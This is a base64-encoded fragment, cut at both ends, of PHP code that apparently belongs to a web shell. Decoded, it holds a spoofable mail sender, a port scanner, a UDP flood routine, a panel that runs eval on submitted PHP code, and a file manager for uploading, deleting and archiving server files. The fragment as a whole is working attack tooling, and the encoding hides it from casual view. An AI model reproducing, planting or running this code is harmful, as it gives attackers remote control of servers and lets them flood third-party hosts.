tZT1zdWJqZWN0IHZhbHVlPXN1YmplY3Q+PGJyPiAKPGlucHV0IHR5cGU9dGV4dCBuYW1lPWJvZHkgdmFsdWU9Ym9keT48YnI+IAo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9U3VibWl0PjwvZm9ybT4nOyAKaWYgKGlzc2V0KCRfUE9TVFsndG8nXSkgJiYgaXNzZXQoJF9QT1NUWydmcm9tJ10pICYmIGlzc2V0KCRfUE9TVFsnc3ViamVjdCddKSAmJiBpc3NldCgkX1BPU1RbJ2JvZHknXSkpIHsgCiAgICAkaGVhZGVycyA9ICdGcm9tOiAnLiRfUE9TVFsnZnJvbSddOyAKICAgIG1haWwgKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmplY3QnXSwkX1BPU1RbJ2JvZHknXSwkaGVhZGVycyk7IAogICAgZWNobyAnRW1haWwgc2VudC4nOyAKfSAKICAKLy9wb3J0IHNjYW5uZXIgCmVjaG8gJzxicj48Yj5Qb3J0IFNjYW5uZXI8L2I+PGJyPic7IAokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7IAokZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTsgCiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7IAogIAppZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpeyAKZm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7IAogICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7IAogICAgaWYoJGZwKXsgCiAgICAgICAgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9Z3JlZW4+b3BlbjwvZm9udD48YnI+JzsgCiAgICB9IAogICAgZmx1c2goKTsgCiAgICB9IAp9ZWxzZXsgCj8+IAo8Zm9ybSBhY3Rpb249Ij8iIG1ldGhvZD0iUE9TVCI+IAo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiAKSG9zdDo8YnIgLz4gCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+IApQb3J0IHN0YXJ0OjxiciAvPiAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPiAKUG9ydCBlbmQ6PGJyIC8+IAo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+IAo8L2Zvcm0+IAo8P3BocCAKfSAKICAKLy9VRFAgCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSYmaXNfbnVtZXJpYygkX1BPU1RbJ3RpbWUnXSkpeyAKICAgICRwYWtpdHMgPSAwOyAKICAgIGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOyAKICAgIHNldF90aW1lX2xpbWl0KDApOyAKICAgICAgCiAgICAkZXhlY190aW1lID0gJF9QT1NUWyd0aW1lJ107IAogICAgICAKICAgICR0aW1lID0gdGltZSgpOyAKICAgIC8vcHJpbnQgIlN0YXJ0ZWQ6ICIudGltZSgnaDppOnMnKS4iPGJyPiI7IAogICAgJG1heF90aW1lID0gJHRpbWUrJGV4ZWNfdGltZTsgCiAgCiAgICAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOyAKICAgICAgCiAgICBmb3IoJGk9MDskaTw2NTAwMDskaSsrKXsgCiAgICAgICAgICAgICRvdXQgLj0gJ1gnOyAKICAgIH0gCiAgICB3aGlsZSgxKXsgCiAgICAkcGFraXRzKys7IAogICAgICAgICAgICBpZih0aW1lKCkgPiAkbWF4X3RpbWUpeyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgICRyYW5kID0gcmFuZCgxLDY1MDAwKTsgCiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7IAogICAgICAgICAgICBpZigkZnApeyAKICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkb3V0KTsgCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgICAgICB9IAogICAgfSAKICAgIGVjaG8gIjxicj48Yj5VRFAgRmxvb2Q8L2I+PGJyPkNvbXBsZXRlZCB3aXRoICRwYWtpdHMgKCIgLiByb3VuZCgoJHBha2l0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFraXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQgXG4iOyAKICAgIGVjaG8gJzxicj48YnI+IAogICAgICAgIDxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9UE9TVD4gCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4gCiAgICAgICAgSG9zdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0PiAKICAgICAgICBMZW5ndGggKHNlY29uZHMpOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5PiAKICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7IAp9ZWxzZXsgZWNobyAnPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+IAogICAgICAgICAgICA8Zm9ybSBhY3Rpb249PyBtZXRob2Q9UE9TVD4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJwaHB0b29scyI+IAogICAgICAgICAgICBIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4gCiAgICAgICAgICAgIExlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsgCn0gCj8+PC9jZW50ZXI+PD9waHAgCndzb0Zvb3RlcigpO30gCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsgCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IHRydWU7IAogICAgICAgIG9iX3N0YXJ0KCk7IAogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgCiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsgCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgCiAgICAgICAgZXhpdDsgCiAgICB9IAogICAgd3NvSGVhZGVyKCk7IAogICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsgCiAgICAgICAgZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7IAogICAgICAgIG9iX3N0YXJ0KCk7IAogICAgICAgIHBocGluZm8oKTsgCiAgICAgICAgJHRtcCA9IG9iX2dldF9jbGVhbigpOyAKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7IAogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsgCiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsgCiAgICB9IAogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gZmFsc2U7IAogICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2coXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7IAogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7IAogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgCiAgICAgICAgb2Jfc3RhcnQoKTsgCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOyAKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOyAKICAgIH0gCiAgICBlY2hvICc8L3ByZT48L2Rpdj4nOyAKICAgIHdzb0Zvb3RlcigpOyAKfSAKICAKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7IAogICAgd3NvSGVhZGVyKCk7IAogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsgCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyAKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IAogICAgICAgICAgICBjYXNlICd1cGxvYWRGaWxlJzogCiAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzogCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpIAogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6IAogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7IAogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7IAogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsgCiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07IAogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsgCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7IAogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsgCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOyAKICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJHBhdGgpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKSAKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7IAogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOyAKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7IAogICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzogCiAgICAgICAgICAgICAgICBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5JykgeyAKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsgCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IAogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyAKICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIAogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7IAogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpeyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMuJHMpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyAKICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIAogICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOyAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHsgCiAgICAgICAgICAgICAgICAgICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7IAogICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd1bnppcCcpIHsgCiAgICAgICAgICAgICAgICAgICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpIHsgCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOyAKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX1NFU1NJT05bJ2YnXSk7IAogICAgICAgICAgICAgICAgICAgIHdzb0V4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX1NFU1NJT05bJ2YnXSkpOyAKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2YnXSk7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICBkZWZhdWx0OiAKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IAogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOyAKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsgCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikgCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7IAogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgfSAKICAgIH0gCiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyAKICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO3dzb0Zvb3RlcigpOyByZXR1cm47IH0gCiAgICBnbG9iYWwgJHNvcnQ7IAogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOyAKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IAogICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKSAKICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsgCiAgICB9IAplY2hvICI8c2NyaXB0PiAKICAgIGZ1bmN0aW9uIHNhKCkgeyAKICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKSAKICAgICAgICAgICAgaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpIAogICAgICAgICAgICAgICAgZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOyAKICAgIH0gCiAgCjwvc2NyaXB0PiAKPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4gCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7IAogICAgJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOyAKICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOyAKICAgIGZvcigkaT0wOyRpPCRuOyRpKyspIHsgCiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7IAogICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOyAKICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwgCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLCAKICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLCAKICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksIAogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCAKICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksIAogICAgICAgICAgICAgICAgICAgICAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSAKICAgICAgICAgICAgICAgICAgICApOyAKICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAKICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7IAogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAKICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7IAogICAgICAgIGVsc2V